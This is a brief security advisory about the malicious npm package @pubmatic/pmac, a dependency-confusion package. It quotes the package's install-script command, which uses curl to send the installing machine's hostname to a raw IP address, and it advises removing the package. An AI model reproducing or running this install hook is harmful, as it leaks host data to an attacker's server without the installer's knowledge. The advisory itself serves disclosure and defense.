Malicious package · npm
Malicious code in @pubmatic/pmac (npm)
1.0.0No safe version. Remove it.What it does
Malicious package. Dependency-confusion style package using a company-named scope. The install script runs node index.js && curl http://52.56.233.136:11111/?linux=hostname``, falling back to ?windows=%COMPUTERNAME%, sending the installing host's name to a raw IP. Observed in a sandboxed install, which connected to 52.56.233.136. The package has since been removed from the npm registry.
No fix · Remove and contain
npm uninstall @pubmatic/pmac